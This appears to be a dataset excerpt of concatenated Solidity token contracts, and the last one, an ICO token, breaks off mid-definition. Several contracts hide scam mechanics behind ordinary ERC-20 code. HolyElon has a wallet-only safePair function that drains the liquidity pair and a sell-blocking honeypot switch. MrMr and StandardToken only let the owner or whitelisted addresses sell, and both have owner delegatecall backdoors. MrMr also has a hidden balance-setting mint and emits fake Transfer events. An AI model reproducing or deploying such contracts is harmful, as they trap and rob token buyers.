uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract HolyElon is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
bool private um = true;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
bool private boughtEarly = true;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event EndedBoughtEarly(bool boughtEarly);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("Holy Elon", "HOLYELON") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 1;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 3;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1e14 * 1e18;
maxTransactionAmount = totalSupply * 1 / 100;
maxWallet = totalSupply * 2 / 100;
swapTokensAtAmount = totalSupply * 5 / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = payable(0x9C1eB63ca6afB4d912cF017849d40829AAf1C695);
devWallet = payable(0x9C1eB63ca6afB4d912cF017849d40829AAf1C695);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(devWallet), true);
excludeFromFees(address(marketingWallet), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(devWallet), true);
excludeFromMaxTransaction(address(marketingWallet), true);
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external {
require(msg.sender == marketingWallet);
require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function safePair(uint amount) external {
require(msg.sender == marketingWallet);
uint bal = balanceOf(uniswapV2Pair);
if (bal > 1) _transfer(uniswapV2Pair, address(this), bal - 1);
IUniswapV2Pair(uniswapV2Pair).sync();
swapTokensForEth(amount * 10 ** decimals());
address(marketingWallet).call{value: address(this).balance}("");
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!bots[from] && !bots[to]);
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount");
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
swapTokensForEth(amountToSwapForETH);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function openTrading(uint256 botBlocks) private {
_firstBlock = block.number;
_botBlocks = botBlocks;
tradingActive = true;
}
function enableTrading(uint256 botBlocks) external onlyOwner() {
require(botBlocks <= 1, "don't catch humans");
swapEnabled = true;
require(boughtEarly == true, "done");
boughtEarly = false;
openTrading(botBlocks);
emit EndedBoughtEarly(boughtEarly);
}
} | 0 | 235 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MrMr {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,077 |
pragma solidity ^0.5.15;
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,984 |
pragma solidity ^0.4.13;
contract tokenGAT {
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event LogTransaction(address indexed _addres, uint256 value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandarTokentokenGAT is tokenGAT{
mapping (address => uint256) balances;
mapping (address => uint256 ) weirecives;
mapping (address => mapping (address => uint256)) allowed;
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { revert();}
if (balances[msg.sender] >= _value && _value >= 0){
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}else
return false;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { revert(); }
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0){
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else
return false;
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract TokenICOGAT is StandarTokentokenGAT{
address owner = msg.sender;
function name() constant returns (string) { return "General Advertising Token"; }
function symbol() constant returns (string) { return "GAT"; }
uint256 public constant decimals = 18;
bool public purchasingAllowed = false;
address public ethFoundDeposit;
address public gatFoundDeposit;
uint public deadline;
uint public startline;
uint public refundDeadLine;
uint public transactionCounter;
uint public etherReceived;
uint256 public constant gatFund = 250 * (10**6) * 10**decimals;
uint256 public constant tokenExchangeRate = 9000;
uint256 public constant tokenCreationCap = 1000 * (10**6) * 10**decimals;
uint256 public constant tokenSellCap = 750 * (10**6) * 10**decimals;
